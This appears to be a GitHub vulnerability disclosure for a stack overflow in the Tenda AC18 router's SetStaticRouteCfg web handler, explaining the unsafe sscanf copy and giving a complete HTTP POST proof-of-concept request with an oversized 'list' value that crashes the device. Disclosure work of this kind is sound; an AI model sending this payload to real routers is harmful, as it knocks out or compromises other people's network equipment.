rickytriky / NWPU_Projct Public

Code Issues Pull requests Actions Projects Security Insights

main NWPU_Projct / Tenda / AC18 / 6 /

rickytriky Delete lol ... on Aug 7 History

..

README.md 4 months ago

README.md

Tenda AC18 Unauthorized stack overflow vulnerability

1. Affected version:

V15.03.05.05_multi and V15.03.05.19_multi

2. Firmware download address

https://www.tenda.com.cn/download/detail-2683.html

3. Vulnerability details

img

In function SetStaticRouteCfg, the content obtained by the program from the list parameter is passed to v5, and then calls sub_781E8 function, let's follow up and check

img

At this time, the position of a2 parameter in the corresponding function.

img

After that, a2 is assigned to v16, and then the matched content in v16 is directly formatted into the stack of v11, v10, v9 and s1 through the function sscanf through regular expression. There is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

4. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1.Use the fat simulation firmware V15.03.05.19_multi

2.Attack with the following overflow POC attacks

```
POST /goform/SetStaticRouteCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1758
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/static_route.html?random=0.8948303619841387&
Cookie: password=0d403f6ad9aea37a98da9255140dbf6eodtcvb

list=192.168.1.0,255.255.255.0,100.64.0.2,WAN1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

This PoC can result in a Dos.